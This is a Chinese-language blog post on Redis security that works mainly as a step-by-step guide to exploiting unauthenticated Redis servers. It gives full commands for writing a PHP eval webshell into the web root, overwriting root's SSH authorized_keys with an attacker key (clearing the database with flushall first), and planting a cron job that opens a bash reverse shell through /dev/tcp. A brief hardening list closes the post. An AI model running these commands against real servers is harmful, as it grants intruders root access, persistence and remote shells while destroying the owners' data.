Tomato's Blog

Redis安全总结

  1. 未授权访问
  2. 获取webshell
  3. 获取root
  4. 通过redis提权
  5. 其他的一些利用
  6. redis安全配置
测试环境 CentOS 6.5 x64

未授权访问

默认安装redis,其中启动权限就为root。并且是任意ip可以未授权访问。

2276273468

91190645


获取webshell

条件:知道web绝对路径,redis运行的用户需要对web目录要有写的权限

http://10.211.55.10/phpinfo.php

然后通过客户端链接

redis-cli -h 10.211.55.10

config set dir /var/www/html/

set shell <?php eval($_REQUEST[\'syclover\'])?>

config set dbfilename syclover.php

save

exit

存在的问题,如果redis里面的数据量特别大并且前面存在<?php 之类的符号

先通过randomkey来查看键值之间的规律,然后可以将数据库备份下来,找到包含<?php 的键名,通过 keys *str*找到真正的键名,然后去修改这个键名。因为数据量很大所以备份的shell也很大,然后在生成shell的时候,可以设置不超时,并且在生成完成之后就退出。


获取root

victim server CentOS6.6+redis2.4  192.168.192.133

attack server CentOS6.6  192.168.192.132

先在attack server生成一个公钥

 ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt

然后执行

redis-cli -h 192.168.192.133 flushall

cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn

登录redis redis-cli -h 192.168.192.133

CONFIG set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit

然后就可以使用ssh的私钥登录了

ssh -i redis.pub [email protected]

2436203329

缺点:flushall 太暴力直接清空数据库,覆盖authorized_keys,导致原有的认证失效。

通过redis提权

获取了一个webshell,但是权限很低,发现存在redis服务但是只能本地访问。然后通过上面的方法可以成功提权


其他玩法

redis+crontab

redis-cli config set dir /var/spool/cron/

redis-cli config set dbfilename root

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8443 0>&1 \n\n"|redis-cli -x set 1

redis-cli save

nc -lvv 8443

redis安全配置

  1. 设置只对本机开放 bind 127.0.0.1
  2. 设置密码 requirepass tomato
  3. 修改默认端口 12345
  4. 低权限启动
  5. 如果需要对外提供服务的话,设置iptables规则

参考

http://antirez.com/news/96

http://zone.wooyun.org/content/23858

comments powered by Disqus
GoTop